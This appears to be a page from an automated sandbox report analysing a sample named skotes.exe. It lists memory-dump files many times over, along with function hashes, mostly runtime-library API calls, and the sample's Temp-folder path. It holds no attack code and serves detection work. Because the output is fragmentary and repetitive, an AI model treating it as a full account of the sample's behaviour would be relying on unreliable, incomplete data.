Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: f4d34b77a0d6fda6766c53fe58d3fcb16ff4ef1f5447e6fe42f7422e66c370a4
Instruction ID: 0482e6f4131493066c9c20893453c21f4bf2913b5951b72eb9193e6a95b199db
Opcode Fuzzy Hash: f4d34b77a0d6fda6766c53fe58d3fcb16ff4ef1f5447e6fe42f7422e66c370a4
Instruction Fuzzy Hash: A401D671302929BFDA257B60C9C2FEEBB6DBFC47107000425F40097652DF21EC9286D0

Function 009233C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 009233DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 009233EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00923407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0092341F

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 3069b2c69b411c415d612cf257565519165360ec3435ec6014ebde0ffb47f91b
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6C012632700524B7CF16FE68A841BEF77ADDF80310F114455FC22AB296DA74EF0092A0

Function 00919510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00919519

Part of subcall function 0090F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00915486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0091953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00919550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00919559

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: d6fdf43d8676fc262f55f8f04bb26ac206dfaefb815a5f492e20399e76b65e15
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 60F03771701B245EE662AB549821FAB33D99FC4715F00C41DF95BA7583CE34F982CB91

Function 0092DFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0092DFE8

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2152102331
Opcode ID: 6b573abaec0662fba83b84db3a44eed0c3f4eae2ed0fcdc8e497b6948289bef1
Instruction ID: 6050343998fdcfe63cc008511f773c7e6e672b444ee5e9c0a3bb8959cd6dc016
Opcode Fuzzy Hash: 6b573abaec0662fba83b84db3a44eed0c3f4eae2ed0fcdc8e497b6948289bef1
Instruction Fuzzy Hash: 3221A4716482297FEB30AEA5BCC0F6BB7ADEF803647104514FA289725AE760EC418761

Function 00921704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00921764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009217AF

Strings

pContext, xrefs: 009217A7

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
